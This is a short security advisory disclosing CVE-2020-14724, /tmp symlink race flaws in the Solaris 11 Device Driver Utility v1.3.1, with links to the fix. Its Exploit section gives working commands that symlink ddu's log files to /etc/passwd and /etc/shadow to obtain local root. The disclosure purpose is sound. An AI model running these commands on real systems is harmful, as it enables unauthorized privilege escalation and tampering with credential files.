Insecure /tmp file use in Oracle Solaris 11 Device Driver Utility v1.3.1 leads to root
CVE ID(s):
CVE-2020-14724
Summary: Multiple /tmp race condition vullnerabilities in ddu v1.3.1
Notified: 2020-02-02
Description:
"The Device Driver Utility provides information about the devices on your installed system and the drivers that manage those devices. The DDU reports whether the currently booted operating system has drivers for all of the devices that are detected in your system. If a device does not have a driver attached, the Device Driver Utility recommends a driver package to install."
Exploit:
Tested on Solaris 11 x86 larry@SolSun:~$ uname -a SunOS SolSun 5.11 11.4.0.15.0 i86pc i386 i86pc and Open Indiana root@openindiana:/export/home/larry# uname -a SunOS openindiana 5.11 illumos-1b500975aa i86pc i386 i86pc Append content to /etc/passwd larry@openindiana:/tmp$ ln -s /etc/passwd ddu_log To get local root simply have ddu chmod 666 /etc/shadow larry@openindiana:/tmp$ while true; do ln -s /etc/shadow ddu_err.log; done A better exploit: https://github.com/lcashdol/Exploits/tree/master/ddu-exploit
Notes:
https://github.com/OpenIndiana/ddu/commit/31dca7f6bee738980ecabefadedd01fcc3f3acf6 https://www.oracle.com/security-alerts/cpujul2020.html#AppendixSUNS